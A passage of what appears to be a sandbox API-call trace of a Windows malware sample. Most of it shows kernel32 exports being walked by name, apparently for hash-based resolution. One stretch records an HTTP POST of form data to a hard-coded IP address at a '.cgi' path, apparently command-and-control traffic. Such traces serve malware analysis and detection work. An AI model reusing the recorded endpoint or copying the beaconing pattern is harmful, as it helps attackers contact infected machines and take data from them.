lpString2="DosDateTimeToFileTime" | out: lpString1="DosDateTimeToFileTime") returned="DosDateTimeToFileTime" [0056.703] lstrlenA (lpString="DOSDATETIMETOFILETIME") returned 21 [0056.703] lstrcpyA (in: lpString1=0x2c4f1a8, lpString2="DosPathToSessionPathA" | out: lpString1="DosPathToSessionPathA") returned="DosPathToSessionPathA" [0056.703] lstrlenA (lpString="DOSPATHTOSESSIONPATHA") returned 21 [0056.703] lstrcpyA (in: lpString1=0x2c4f1a8, lpString2="DosPathToSessionPathW" | out: lpString1="DosPathToSessionPathW") returned="DosPathToSessionPathW" [0056.703] lstrlenA (lpString="DOSPATHTOSESSIONPATHW") returned 21 [0056.703] lstrcpyA (in: lpString1=0x2c4f1a8, lpString2="DuplicateConsoleHandle" | out: lpString1="DuplicateConsoleHandle") returned="DuplicateConsoleHandle" [0056.703] lstrlenA (lpString="DUPLICATECONSOLEHANDLE") returned 22 [0056.703] lstrcpyA (in: lpString1=0x2c4f1a8, lpString2="DuplicateHandle" | out: lpString1="DuplicateHandle") returned="DuplicateHandle" [0056.703] lstrlenA (lpString="DUPLICATEHANDLE") returned 15 [0056.703] lstrcpyA (in: lpString1=0x2c4f1a8, lpString2="EnableThreadProfiling" | out: lpString1="EnableThreadProfiling") returned="EnableThreadProfiling" [0056.703] lstrlenA (lpString="ENABLETHREADPROFILING") returned 21 [0056.703] lstrcpyA (in: lpString1=0x2c4f1a8, lpString2="EncodePointer" | out: lpString1="EncodePointer") returned="EncodePointer" [0056.703] lstrlenA (lpString="ENCODEPOINTER") returned 13 [0056.703] lstrcpyA (in: lpString1=0x2c4f1a8, lpString2="EncodeSystemPointer" | out: lpString1="EncodeSystemPointer") returned="EncodeSystemPointer" [0056.703] lstrlenA (lpString="ENCODESYSTEMPOINTER") returned 19 [0056.703] lstrcpyA (in: lpString1=0x2c4f1a8, lpString2="EndUpdateResourceA" | out: lpString1="EndUpdateResourceA") returned="EndUpdateResourceA" [0056.703] lstrlenA (lpString="ENDUPDATERESOURCEA") returned 18 [0056.703] lstrcpyA (in: lpString1=0x2c4f1a8, lpString2="EndUpdateResourceW" | out: lpString1="EndUpdateResourceW") returned="EndUpdateResourceW" [0056.703] lstrlenA (lpString="ENDUPDATERESOURCEW") returned 18 [0056.703] lstrcpyA (in: lpString1=0x2c4f1a8, lpString2="EnterCriticalSection" | out: lpString1="EnterCriticalSection") returned="EnterCriticalSection" [0056.703] lstrlenA (lpString="ENTERCRITICALSECTION") returned 20 [0056.703] lstrcpyA (in: lpString1=0x2c4f1a8, lpString2="EnumCalendarInfoA" | out: lpString1="EnumCalendarInfoA") returned="EnumCalendarInfoA" [0056.703] lstrlenA (lpString="ENUMCALENDARINFOA") returned 17 [0056.703] lstrcpyA (in: lpString1=0x2c4f1a8, lpString2="EnumCalendarInfoExA" | out: lpString1="EnumCalendarInfoExA") returned="EnumCalendarInfoExA" [0056.704] lstrlenA (lpString="ENUMCALENDARINFOEXA") returned 19 [0056.704] lstrcpyA (in: lpString1=0x2c4f1a8, lpString2="EnumCalendarInfoExEx" | out: lpString1="EnumCalendarInfoExEx") returned="EnumCalendarInfoExEx" [0056.704] lstrlenA (lpString="ENUMCALENDARINFOEXEX") returned 20 [0056.704] lstrcpyA (in: lpString1=0x2c4f1a8, lpString2="EnumCalendarInfoExW" | out: lpString1="EnumCalendarInfoExW") returned="EnumCalendarInfoExW" [0056.704] lstrlenA (lpString="ENUMCALENDARINFOEXW") returned 19 [0056.704] lstrcpyA (in: lpString1=0x2c4f1a8, lpString2="EnumCalendarInfoW" | out: lpString1="EnumCalendarInfoW") returned="EnumCalendarInfoW" [0056.704] lstrlenA (lpString="ENUMCALENDARINFOW") returned 17 [0056.704] lstrcpyA (in: lpString1=0x2c4f1a8, lpString2="EnumDateFormatsA" | out: lpString1="EnumDateFormatsA") returned="EnumDateFormatsA" [0056.704] lstrlenA (lpString="ENUMDATEFORMATSA") returned 16 [0056.704] lstrcpyA (in: lpString1=0x2c4f1a8, lpString2="EnumDateFormatsExA" | out: lpString1="EnumDateFormatsExA") returned="EnumDateFormatsExA" [0056.704] lstrlenA (lpString="ENUMDATEFORMATSEXA") returned 18 [0056.704] lstrcpyA (in: lpString1=0x2c4f1a8, lpString2="EnumDateFormatsExEx" | out: lpString1="EnumDateFormatsExEx") returned="EnumDateFormatsExEx" [0056.704] lstrlenA (lpString="ENUMDATEFORMATSEXEX") returned 19 [0056.704] lstrcpyA (in: lpString1=0x2c4f1a8, lpString2="EnumDateFormatsExW" | out: lpString1="EnumDateFormatsExW") returned="EnumDateFormatsExW" [0056.704] lstrlenA (lpString="ENUMDATEFORMATSEXW") returned 18 [0056.704] lstrcpyA (in: lpString1=0x2c4f1a8, lpString2="EnumDateFormatsW" | out: lpString1="EnumDateFormatsW") returned="EnumDateFormatsW" [0056.708] InternetOpenA (lpszAgent="Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; AS; rv:11.0) like Gecko", dwAccessType=0x0, lpszProxy=0x0, lpszProxyBypass=0x0, dwFlags=0x0) returned 0xcc0004 [0059.352] InternetCrackUrlA (in: lpszUrl="http://92.63.37.100/post/checkout/mkgqp.cgi?iii=8128v5", dwUrlLength=0x36, dwFlags=0x0, lpUrlComponents=0x2c4fd70 | out: lpUrlComponents=0x2c4fd70) returned 1 [0059.380] VirtualAlloc (lpAddress=0x0, dwSize=0x1400, flAllocationType=0x3000, flProtect=0x4) returned 0x3280000 [0059.383] InternetConnectA (hInternet=0xcc0004, lpszServerName="92.63.37.100", nServerPort=0x50, lpszUserName=0x0, lpszPassword=0x0, dwService=0x3, dwFlags=0x0, dwContext=0x0) returned 0xcc0008 [0059.417] HttpOpenRequestA (hConnect=0xcc0008, lpszVerb="POST", lpszObjectName="/post/checkout/mkgqp.cgi?iii=8128v5", lpszVersion=0x0, lpszReferrer=0x0, lplpszAcceptTypes=0x0, dwFlags=0x0, dwContext=0x0) returned 0xcc000c [0059.428] HttpSendRequestA (hRequest=0xcc000c, lpszHeaders="Content-Type: application/x-www-form-urlencoded", dwHeadersLength=0x2f, lpOptional=0x2ee0000*, dwOptionalLength=0xf7) Thread: id = 59 os_tid = 0xa74 [0053.899] VirtualAlloc (lpAddress=0x0, dwSize=0x18, flAllocationType=0x3000, flProtect=0x4) returned 0x2eb0000 [0053.899] GetTickCount () returned 0x1cd7b [0053.900] lstrlenA (lpString="kernel32.dll") returned 12 [0053.900] GetModuleHandleA (lpModuleName="kernel32.dll") returned 0x76c20000 [0053.900] lstrcpyA (in: lpString1=0x2d9f2a0, lpString2="AcquireSRWLockExclusive" | out: lpString1="AcquireSRWLockExclusive") returned="AcquireSRWLockExclusive" [0053.900] lstrlenA (lpString="ACQUIRESRWLOCKEXCLUSIVE") returned 23 [0053.900] lstrcpyA (in: lpString1=0x2d9f2a0, lpString2="AcquireSRWLockShared" | out: lpString1="AcquireSRWLockShared") returned="AcquireSRWLockShared" [0053.900] lstrlenA (lpString="ACQUIRESRWLOCKSHARED") returned 20 [0053.900] lstrcpyA (in: lpString1=0x2d9f2a0, lpString2="ActivateActCtx" | out: lpString1="ActivateActCtx") returned="ActivateActCtx" [0053.900] lstrlenA (lpString="ACTIVATEACTCTX") returned 14 [0053.900] lstrcpyA (in: lpString1=0x2d9f2a0, lpString2="AddAtomA" | out: lpString1="AddAtomA") returned="AddAtomA" [0053.900] lstrlenA (lpString="ADDATOMA") returned 8 [0053.900] lstrcpyA (in: lpString1=0x2d9f2a0, lpString2="AddAtomW" | out: lpString1="AddAtomW") returned="AddAtomW" [0053.900] lstrlenA (lpString="ADDATOMW") returned 8 [0053.900] lstrcpyA (in: lpString1=0x2d9f2a0, lpString2="AddConsoleAliasA" | out: lpString1="AddConsoleAliasA") returned="AddConsoleAliasA" [0053.900] lstrlenA (lpString="ADDCONSOLEALIASA") returned 16 [0053.900] lstrcpyA (in: lpString1=0x2d9f2a0, lpString2="AddConsoleAliasW" | out: lpString1="AddConsoleAliasW") returned="AddConsoleAliasW" [0053.900] lstrlenA (lpString="ADDCONSOLEALIASW") returned 16 [0053.900] lstrcpyA (in: lpString1=0x2d9f2a0, lpString2="AddIntegrityLabelToBoundaryDescriptor" | out: lpString1="AddIntegrityLabelToBoundaryDescriptor") returned="AddIntegrityLabelToBoundaryDescriptor" [0053.900] lstrlenA (lpString="ADDINTEGRITYLABELTOBOUNDARYDESCRIPTOR") returned 37 [0053.900] lstrcpyA (in: lpString1=0x2d9f2a0, lpString2="AddLocalAlternateComputerNameA" | out: lpString1="AddLocalAlternateComputerNameA") returned="AddLocalAlternateComputerNameA" [0053.900] lstrlenA (lpString="ADDLOCALALTERNATECOMPUTERNAMEA") returned 30 [0053.900] lstrcpyA (in: lpString1=0x2d9f2a0, lpString2="AddLocalAlternateComputerNameW" | out: lpString1="AddLocalAlternateComputerNameW") returned="AddLocalAlternateComputerNameW" [0053.900] lstrlenA (lpString="ADDLOCALALTERNATECOMPUTERNAMEW") returned 30 [0053.900] lstrcpyA (in: lpString1=0x2d9f2a0, lpString2="AddRefActCtx" | out: lpString1="AddRefActCtx") returned="AddRefActCtx" [0053.900] lstrlenA (lpString="ADDREFACTCTX") returned 12 [0053.900] lstrcpyA (in: lpString1=0x2d9f2a0, lpString2="AddSIDToBoundaryDescriptor" | out: lpString1="AddSIDToBoundaryDescriptor") returned="AddSIDToBoundaryDescriptor" [0053.900] lstrlenA (lpString="ADDSIDTOBOUNDARYDESCRIPTOR") returned 26 [0053.900] lstrcpyA (in: lpString1=0x2d9f2a0, lpString2="AddSecureMemoryCacheCallback" | out: lpString1="AddSecureMemoryCacheCallback") returned="AddSecureMemoryCacheCallback" [0053.900] lstrlenA (lpString="ADDSECUREMEMORYCACHECALLBACK") returned 28 [0053.900] lstrcpyA (in: lpString1=0x2d9f2a0, lpString2="AddVectoredContinueHandler" | out: lpString1="AddVectoredContinueHandler") returned="AddVectoredContinueHandler" [0053.900] lstrlenA (lpString="ADDVECTOREDCONTINUEHANDLER") returned 26 [0053.900] lstrcpyA (in: lpString1=0x2d9f2a0, lpString2="AddVectoredExceptionHandler" | out: lpString1="AddVectoredExceptionHandler") returned="AddVectoredExceptionHandler" [0053.900] lstrlenA (lpString="ADDVECTOREDEXCEPTIONHANDLER") returned 27 [0053.900] lstrcpyA (in: lpString1=0x2d9f2a0, lpString2="AdjustCalendarDate" | out: lpString1="AdjustCalendarDate") returned="AdjustCalendarDate" [0053.900] lstrlenA (lpString="ADJUSTCALENDARDATE") returned 18 [0053.900] lstrcpyA (in: lpString1=0x2d9f2a0, lpString2="AllocConsole" | out: lpString1="AllocConsole") returned="AllocConsole" [0053.901] lstrlenA (lpString="ALLOCCONSOLE") returned 12 [0053.901] lstrcpyA (in: lpString1=0x2d9f2a0, lpString2="AllocateUserPhysicalPages" | out: lpString1="AllocateUserPhysicalPages") returned="AllocateUserPhysicalPages" [0053.901] lstrlenA (lpString="ALLOCATEUSERPHYSICALPAGES") returned 25 [0053.901] lstrcpyA (in: lpString1=0x2d9f2a0, lpString2="AllocateUserPhysicalPagesNuma" | out: lpString1="AllocateUserPhysicalPagesNuma") returned="AllocateUserPhysicalPagesNuma" [0053.901] lstrlenA (lpString="ALLOCATEUSERPHYSICALPAGESNUMA") returned 29 [0053.901] lstrcpyA (in: lpString1=0x2d9f2a0, lpString2="ApplicationRecoveryFinished" | out: lpString1="ApplicationRecoveryFinished") returned="ApplicationRecoveryFinished" [0053.901] lstrlenA (lpString="APPLICATIONRECOVERYFINISHED") returned 27 [0053.901] lstrcpyA (in: lpString1=0x2d9f2a0, lpString2="ApplicationRecoveryInProgress" | out: lpString1="ApplicationRecoveryInProgress") returned="ApplicationRecoveryInProgress" [0053.901] lstrlenA (lpString="APPLICATIONRECOVERYINPROGRESS") returned 29 [0053.901] lstrcpyA (in: lpString1=0x2d9f2a0, lpString2="AreFileApisANSI" | out: lpString1="AreFileApisANSI") returned="AreFileApisANSI" [0053.901] lstrlenA (lpString="AREFILEAPISANSI") returned 15 [0053.901] lstrcpyA (in: lpString1=0x2d9f2a0, lpString2="AssignProcessToJobObject" | out: lpString1="AssignProcessToJobObject") returned="AssignProcessToJobObject" [0053.901] lstrlenA (lpString="ASSIGNPROCESSTOJOBOBJECT") returned 24 [0053.901] lstrcpyA (in: lpString1=0x2d9f2a0, lpString2="AttachConsole" | out: lpString1="AttachConsole") returned="AttachConsole" [0053.901] lstrlenA (lpString="ATTACHCONSOLE") returned 13 [0053.901] lstrcpyA (in: lpString1=0x2d9f2a0, lpString2="BackupRead" | out: lpString1="BackupRead") returned="BackupRead" [0053.901] lstrlenA (lpString="BACKUPREAD") returned 10 [0053.901] lstrcpyA (in: lpString1=0x2d9f2a0, lpString2="BackupSeek" | out: lpString1="BackupSeek") returned="BackupSeek" [0053.901] lstrlenA (lpString="BACKUPSEEK") returned 10 [0053.901] lstrcpyA (in: lpString1=0x2d9f2a0, lpString2="BackupWrite" | out: lpString1="BackupWrite") returned="BackupWrite" [0053.901] lstrlenA (lpString="BACKUPWRITE") returned 11 [0053.901] lstrcpyA (in: lpString1=0x2d9f2a0, lpString2="BaseCheckAppcompatCache" | out: lpString1="BaseCheckAppcompatCache") returned="BaseCheckAppcompatCache" [0053.901] lstrlenA (lpString="BASECHECKAPPCOMPATCACHE") returned 23 [0053.901] lstrcpyA (in: lpString1=0x2d9f2a0, lpString2="BaseCheckAppcompatCacheEx" | out: lpString1="BaseCheckAppcompatCacheEx") returned="BaseCheckAppcompatCacheEx" [0053.901] lstrlenA (lpString="BASECHECKAPPCOMPATCACHEEX") returned 25 [0053.901] lstrcpyA (in: lpString1=0x2d9f2a0, lpString2="BaseCheckRunApp" | out: lpString1="BaseCheckRunApp") returned="BaseCheckRunApp" [0053.901] lstrlenA (lpString="BASECHECKRUNAPP") returned 15 [0053.901] lstrcpyA (in: lpString1=0x2d9f2a0, lpString2="BaseCleanupAppcompatCacheSupport" | out: lpString1="BaseCleanupAppcompatCacheSupport") returned="BaseCleanupAppcompatCacheSupport" [0053.901] lstrlenA (lpString="BASECLEANUPAPPCOMPATCACHESUPPORT") returned 32 [0053.901] lstrcpyA (in: lpString1=0x2d9f2a0, lpString2="BaseDllReadWriteIniFile" | out: lpString1="BaseDllReadWriteIniFile") returned="BaseDllReadWriteIniFile" [0053.901] lstrlenA (lpString="BASEDLLREADWRITEINIFILE") returned 23 [0053.901] lstrcpyA (in: lpString1=0x2d9f2a0, lpString2="BaseDumpAppcompatCache" | out: lpString1="BaseDumpAppcompatCache") returned="BaseDumpAppcompatCache" [0053.901] lstrlenA (lpString="BASEDUMPAPPCOMPATCACHE") returned 22 [0053.901] lstrcpyA (in: lpString1=0x2d9f2a0, lpString2="BaseFlushAppcompatCache" | out: lpString1="BaseFlushAppcompatCache") returned="BaseFlushAppcompatCache" [0053.901] lstrlenA (lpString="BASEFLUSHAPPCOMPATCACHE") returned 23 [0053.901] lstrcpyA (in: lpString1=0x2d9f2a0, lpString2="BaseFormatObjectAttributes" | out: lpString1="BaseFormatObjectAttributes") returned="BaseFormatObjectAttributes" [0053.901] lstrlenA (lpString="BASEFORMATOBJECTATTRIBUTES") returned 26 [0053.901] lstrcpyA (in: lpString1=0x2d9f2a0, lpString2="BaseFormatTimeOut" | out: lpString1="BaseFormatTimeOut") returned="BaseFormatTimeOut" [0053.901] lstrlenA (lpString="BASEFORMATTIMEOUT") returned 17 [0053.901] lstrcpyA (in: lpString1=0x2d9f2a0, lpString2="BaseGenerateAppCompatData" | out: lpString1="BaseGenerateAppCompatData") returned="BaseGenerateAppCompatData" [0053.901] lstrlenA (lpString="BASEGENERATEAPPCOMPATDATA") returned 25 [0053.901] lstrcpyA (in: lpString1=0x2d9f2a0, lpString2="BaseGetNamedObjectDirectory" | out: lpString1="BaseGetNamedObjectDirectory") returned="BaseGetNamedObjectDirectory" [0053.901] lstrlenA (lpString="BASEGETNAMEDOBJECTDIRECTORY") returned 27 [0053.901] lstrcpyA (in: lpString1=0x2d9f2a0, lpString2="BaseInitAppcompatCacheSupport" | out: lpString1="BaseInitAppcompatCacheSupport") returned="BaseInitAppcompatCacheSupport" [0053.902] lstrlenA (lpString="BASEINITAPPCOMPATCACHESUPPORT") returned 29 [0053.902] lstrcpyA (in: lpString1=0x2d9f2a0, lpString2="BaseIsAppcompatInfrastructureDisabled" | out: lpString1="BaseIsAppcompatInfrastructureDisabled") returned="BaseIsAppcompatInfrastructureDisabled" [0053.902] lstrlenA (lpString="BASEISAPPCOMPATINFRASTRUCTUREDISABLED") returned 37 [0053.902] lstrcpyA (in: lpString1=0x2d9f2a0, lpString2="BaseQueryModuleData" | out: lpString1="BaseQueryModuleData") returned="BaseQueryModuleData" [0053.902] lstrlenA (lpString="BASEQUERYMODULEDATA") returned 19 [0053.902] lstrcpyA (in: lpString1=0x2d9f2a0, lpString2="BaseSetLastNTError" | out: lpString1="BaseSetLastNTError") returned="BaseSetLastNTError" [0053.902] lstrlenA (lpString="BASESETLASTNTERROR") returned 18 [0053.902] lstrcpyA (in: lpString1=0x2d9f2a0, lpString2="BaseThreadInitThunk" | out: lpString1="BaseThreadInitThunk") returned="BaseThreadInitThunk" [0053.902] lstrlenA (lpString="BASETHREADINITTHUNK") returned 19 [0053.902] lstrcpyA (in: lpString1=0x2d9f2a0, lpString2="BaseUpdateAppcompatCache" | out: lpString1="BaseUpdateAppcompatCache") returned="BaseUpdateAppcompatCache" [0053.902] lstrlenA (lpString="BASEUPDATEAPPCOMPATCACHE") returned 24 [0053.902] lstrcpyA (in: lpString1=0x2d9f2a0, lpString2="BaseVerifyUnicodeString" | out: lpString1="BaseVerifyUnicodeString") returned="BaseVerifyUnicodeString" [0053.902] lstrlenA (lpString="BASEVERIFYUNICODESTRING") returned 23 [0053.902] lstrcpyA (in: lpString1=0x2d9f2a0, lpString2="Basep8BitStringToDynamicUnicodeString" | out: lpString1="Basep8BitStringToDynamicUnicodeString") returned="Basep8BitStringToDynamicUnicodeString" [0053.902] lstrlenA (lpString="BASEP8BITSTRINGTODYNAMICUNICODESTRING") returned 37 [0053.902] lstrcpyA (in: lpString1=0x2d9f2a0, lpString2="BasepAllocateActivationContextActivationBlock" | out: lpString1="BasepAllocateActivationContextActivationBlock") returned="BasepAllocateActivationContextActivationBlock" [0053.902] lstrlenA (lpString="BASEPALLOCATEACTIVATIONCONTEXTACTIVATIONBLOCK") returned 45 [0053.902] lstrcpyA (in: lpString1=0x2d9f2a0, lpString2="BasepAnsiStringToDynamicUnicodeString" | out: lpString1="BasepAnsiStringToDynamicUnicodeString") returned="BasepAnsiStringToDynamicUnicodeString" [0053.902] lstrlenA (lpString="BASEPANSISTRINGTODYNAMICUNICODESTRING") returned 37 [0053.902] lstrcpyA (in: lpString1=0x2d9f2a0, lpString2="BasepCheckAppCompat" | out: lpString1="BasepCheckAppCompat") returned="BasepCheckAppCompat" [0053.902] lstrlenA (lpString="BASEPCHECKAPPCOMPAT") returned 19 [0053.902] lstrcpyA (in: lpString1=0x2d9f2a0, lpString2="BasepCheckBadapp" | out: lpString1="BasepCheckBadapp") returned="BasepCheckBadapp" [0053.902] lstrlenA (lpString="BASEPCHECKBADAPP") returned 16 [0053.902] lstrcpyA (in: lpString1=0x2d9f2a0, lpString2="BasepCheckWinSaferRestrictions" | out: lpString1="BasepCheckWinSaferRestrictions") returned="BasepCheckWinSaferRestrictions" [0053.902] lstrlenA (lpString="BASEPCHECKWINSAFERRESTRICTIONS") returned 30 [0053.902] lstrcpyA (in: lpString1=0x2d9f2a0, lpString2="BasepFreeActivationContextActivationBlock" | out: lpString1="BasepFreeActivationContextActivationBlock") returned="BasepFreeActivationContextActivationBlock" [0053.902] lstrlenA (lpString="BASEPFREEACTIVATIONCONTEXTACTIVATIONBLOCK") returned 41 [0053.902] lstrcpyA (in: lpString1=0x2d9f2a0, lpString2="BasepFreeAppCompatData" | out: lpString1="BasepFreeAppCompatData") returned="BasepFreeAppCompatData" [0053.902] lstrlenA (lpString="BASEPFREEAPPCOMPATDATA") returned 22 [0053.902] lstrcpyA (in: lpString1=0x2d9f2a0, lpString2="BasepMapModuleHandle" | out: lpString1="BasepMapModuleHandle") returned="BasepMapModuleHandle" [0053.902] lstrlenA (lpString="BASEPMAPMODULEHANDLE") returned 20 [0053.902] lstrcpyA (in: lpString1=0x2d9f2a0, lpString2="Beep" | out: lpString1="Beep") returned="Beep" [0053.902] lstrlenA (lpString="BEEP") returned 4 [0053.902] lstrcpyA (in: lpString1=0x2d9f2a0, lpString2="BeginUpdateResourceA" | out: lpString1="BeginUpdateResourceA") returned="BeginUpdateResourceA" [0053.902] lstrlenA (lpString="BEGINUPDATERESOURCEA") returned 20 [0053.902] lstrcpyA (in: lpString1=0x2d9f2a0, lpString2="BeginUpdateResourceW" | out: lpString1="BeginUpdateResourceW") returned="BeginUpdateResourceW" [0053.903] lstrlenA (lpString="BEGINUPDATERESOURCEW") returned 20 [0053.903] lstrcpyA (in: lpString1=0x2d9f2a0, lpString2="BindIoCompletionCallback" | out: lpString1="BindIoCompletionCallback") returned="BindIoCompletionCallback" [0053.903] lstrlenA (lpString="BINDIOCOMPLETIONCALLBACK") returned 24 [0053.903] lstrcpyA (in: lpString1=0x2d9f2a0, lpString2="BuildCommDCBA" | out: lpString1="BuildCommDCBA") returned="BuildCommDCBA" [0053.903] lstrlenA (lpString="BUILDCOMMDCBA") returned 13 [0053.903] lstrcpyA (in: lpString1=0x2d9f2a0, lpString2="BuildCommDCBAndTimeoutsA" | out: lpString1="BuildCommDCBAndTimeoutsA") returned="BuildCommDCBAndTimeoutsA" [0053.903] lstrlenA (lpString="BUILDCOMMDCBANDTIMEOUTSA") returned 24 [0053.903] lstrcpyA (in: lpString1=0x2d9f2a0, lpString2="BuildCommDCBAndTimeoutsW" | out: lpString1="BuildCommDCBAndTimeoutsW") returned="BuildCommDCBAndTimeoutsW" [0053.903] lstrlenA (lpString="BUILDCOMMDCBANDTIMEOUTSW") returned 24 [0053.903] lstrcpyA (in: lpString1=0x2d9f2a0, lpString2="BuildCommDCBW" | out: lpString1="BuildCommDCBW") returned="BuildCommDCBW" [0053.903] lstrlenA (lpString="BUILDCOMMDCBW") returned 13 [0053.903] lstrcpyA (in: lpString1=0x2d9f2a0, lpString2="CallNamedPipeA" | out: lpString1="CallNamedPipeA") returned="CallNamedPipeA" [0053.903] lstrlenA (lpString="CALLNAMEDPIPEA") returned 14 [0053.903] lstrcpyA (in: lpString1=0x2d9f2a0, lpString2="CallNamedPipeW" | out: lpString1="CallNamedPipeW") returned="CallNamedPipeW" [0053.903] lstrlenA (lpString="CALLNAMEDPIPEW") returned 14 [0053.903] lstrcpyA (in: lpString1=0x2d9f2a0, lpString2="CallbackMayRunLong" | out: lpString1="CallbackMayRunLong") returned="CallbackMayRunLong" [0053.903] lstrlenA (lpString="CALLBACKMAYRUNLONG") returned 18 [0053.903] lstrcpyA (in: lpString1=0x2d9f2a0, lpString2="CancelDeviceWakeupRequest" | out: lpString1="CancelDeviceWakeupRequest") returned="CancelDeviceWakeupRequest" [0053.903] lstrlenA (lpString="CANCELDEVICEWAKEUPREQUEST") returned 25 [0053.903] lstrcpyA (in: lpString1=0x2d9f2a0, lpString2="CancelIo" | out: lpString1="CancelIo") returned="CancelIo" [0053.903] lstrlenA (lpString="CANCELIO") returned 8 [0053.903] lstrcpyA (in: lpString1=0x2d9f2a0, lpString2="CancelIoEx" | out: lpString1="CancelIoEx") returned="CancelIoEx" [0053.903] lstrlenA (lpString="CANCELIOEX") returned 10 [0053.903] lstrcpyA (in: lpString1=0x2d9f2a0, lpString2="CancelSynchronousIo" | out: lpString1="CancelSynchronousIo") returned="CancelSynchronousIo" [0053.903] lstrlenA (lpString="CANCELSYNCHRONOUSIO") returned 19 [0053.903] lstrcpyA (in: lpString1=0x2d9f2a0, lpString2="CancelThreadpoolIo" | out: lpString1="CancelThreadpoolIo") returned="CancelThreadpoolIo" [0053.903] lstrlenA (lpString="CANCELTHREADPOOLIO") returned 18 [0053.903] lstrcpyA (in: lpString1=0x2d9f2a0, lpString2="CancelTimerQueueTimer" | out: lpString1="CancelTimerQueueTimer") returned="CancelTimerQueueTimer" [0053.903] lstrlenA (lpString="CANCELTIMERQUEUETIMER") returned 21 [0053.903] lstrcpyA (in: lpString1=0x2d9f2a0, lpString2="CancelWaitableTimer" | out: lpString1="CancelWaitableTimer") returned="CancelWaitableTimer" [0053.903] lstrlenA (lpString="CANCELWAITABLETIMER") returned 19 [0053.903] lstrcpyA (in: lpString1=0x2d9f2a0, lpString2="ChangeTimerQueueTimer" | out: lpString1="ChangeTimerQueueTimer") returned="ChangeTimerQueueTimer" [0053.903] lstrlenA (lpString="CHANGETIMERQUEUETIMER") returned 21 [0053.903] lstrcpyA (in: lpString1=0x2d9f2a0, lpString2="CheckElevation" | out: lpString1="CheckElevation") returned="CheckElevation" [0053.903] lstrlenA (lpString="CHECKELEVATION") returned 14 [0053.903] lstrcpyA (in: lpString1=0x2d9f2a0, lpString2="CheckElevationEnabled" | out: lpString1="CheckElevationEnabled") returned="CheckElevationEnabled" [0053.903] lstrlenA (lpString="CHECKELEVATIONENABLED") returned 21 [0053.904] lstrcpyA (in: lpString1=0x2d9f2a0, lpString2="CheckForReadOnlyResource" | out: lpString1="CheckForReadOnlyResource") returned="CheckForReadOnlyResource" [0053.904] lstrlenA (lpString="CHECKFORREADONLYRESOURCE") returned 24 [0053.904] lstrcpyA (in: lpString1=0x2d9f2a0, lpString2="CheckNameLegalDOS8Dot3A" | out: lpString1="CheckNameLegalDOS8Dot3A") returned="CheckNameLegalDOS8Dot3A" [0053.904] lstrlenA (lpString="CHECKNAMELEGALDOS8DOT3A") returned 23 [0053.904] lstrcpyA (in: lpString1=0x2d9f2a0, lpString2="CheckNameLegalDOS8Dot3W" | out: lpString1="CheckNameLegalDOS8Dot3W") returned="CheckNameLegalDOS8Dot3W" [0053.904] lstrlenA (lpString="CHECKNAMELEGALDOS8DOT3W") returned 23 [0053.904] lstrcpyA (in: lpString1=0x2d9f2a0, lpString2="CheckRemoteDebuggerPresent" | out: lpString1="CheckRemoteDebuggerPresent") returned="CheckRemoteDebuggerPresent" [0053.904] lstrlenA (lpString="CHECKREMOTEDEBUGGERPRESENT") returned 26 [0053.904] lstrcpyA (in: lpString1=0x2d9f2a0, lpString2="ClearCommBreak" | out: lpString1="ClearCommBreak") returned="ClearCommBreak" [0053.904] lstrlenA (lpString="CLEARCOMMBREAK") returned 14 [0053.904] lstrcpyA (in: lpString1=0x2d9f2a0, lpString2="ClearCommError" | out: lpString1="ClearCommError") returned="ClearCommError" [0053.904] lstrlenA (lpString="CLEARCOMMERROR") returned 14 [0053.904] lstrcpyA (in: lpString1=0x2d9f2a0, lpString2="CloseConsoleHandle" | out: lpString1="CloseConsoleHandle") returned="CloseConsoleHandle" [0053.904] lstrlenA (lpString="CLOSECONSOLEHANDLE") returned 18 [0053.904] lstrcpyA (in: lpString1=0x2d9f2a0, lpString2="CloseHandle" | out: lpString1="CloseHandle") returned="CloseHandle" [0053.904] lstrlenA (lpString="CLOSEHANDLE") returned 11 [0053.904] lstrcpyA (in: lpString1=0x2d9f2a0, lpString2="ClosePrivateNamespace" | out: lpString1="ClosePrivateNamespace") returned="ClosePrivateNamespace" [0053.904] lstrlenA (lpString="CLOSEPRIVATENAMESPACE") returned 21 [0053.904] lstrcpyA (in: lpString1=0x2d9f2a0, lpString2="CloseProfileUserMapping" | out: lpString1="CloseProfileUserMapping") returned="CloseProfileUserMapping" [0053.904] lstrlenA (lpString="CLOSEPROFILEUSERMAPPING") returned 23 [0053.904] lstrcpyA (in: lpString1=0x2d9f2a0, lpString2="CloseThreadpool" | out: lpString1="CloseThreadpool") returned="CloseThreadpool" [0053.904] lstrlenA (lpString="CLOSETHREADPOOL") returned 15 [0053.904] lstrcpyA (in: lpString1=0x2d9f2a0, lpString2="CloseThreadpoolCleanupGroup" | out: lpString1="CloseThreadpoolCleanupGroup") returned="CloseThreadpoolCleanupGroup" [0053.904] lstrlenA (lpString="CLOSETHREADPOOLCLEANUPGROUP") returned 27 [0053.904] lstrcpyA (in: lpString1=0x2d9f2a0, lpString2="CloseThreadpoolCleanupGroupMembers" | out: lpString1="CloseThreadpoolCleanupGroupMembers") returned="CloseThreadpoolCleanupGroupMembers" [0053.904] lstrlenA (lpString="CLOSETHREADPOOLCLEANUPGROUPMEMBERS") returned 34 [0053.904] lstrcpyA (in: lpString1=0x2d9f2a0, lpString2="CloseThreadpoolIo" | out: lpString1="CloseThreadpoolIo") returned="CloseThreadpoolIo" [0053.904] lstrlenA (lpString="CLOSETHREADPOOLIO") returned 17 [0053.904] lstrcpyA (in: lpString1=0x2d9f2a0, lpString2="CloseThreadpoolTimer" | out: lpString1="CloseThreadpoolTimer") returned="CloseThreadpoolTimer" [0053.904] lstrlenA (lpString="CLOSETHREADPOOLTIMER") returned 20 [0053.904] lstrcpyA (in: lpString1=0x2d9f2a0, lpString2="CloseThreadpoolWait" | out: lpString1="CloseThreadpoolWait") returned="CloseThreadpoolWait" [0053.904] lstrlenA (lpString="CLOSETHREADPOOLWAIT") returned 19 [0053.904] lstrcpyA (in: lpString1=0x2d9f2a0, lpString2="CloseThreadpoolWork" | out: lpString1="CloseThreadpoolWork") returned="CloseThreadpoolWork" [0053.904] lstrlenA (lpString="CLOSETHREADPOOLWORK") returned 19 [0053.904] lstrcpyA (in: lpString1=0x2d9f2a0, lpString2="CmdBatNotification" | out: lpString1="CmdBatNotification") returned="CmdBatNotification" [0053.904] lstrlenA (lpString="CMDBATNOTIFICATION") returned 18 [0053.904] lstrcpyA (in: lpString1=0x2d9f2a0, lpString2="CommConfigDialogA" | out: lpString1="CommConfigDialogA") 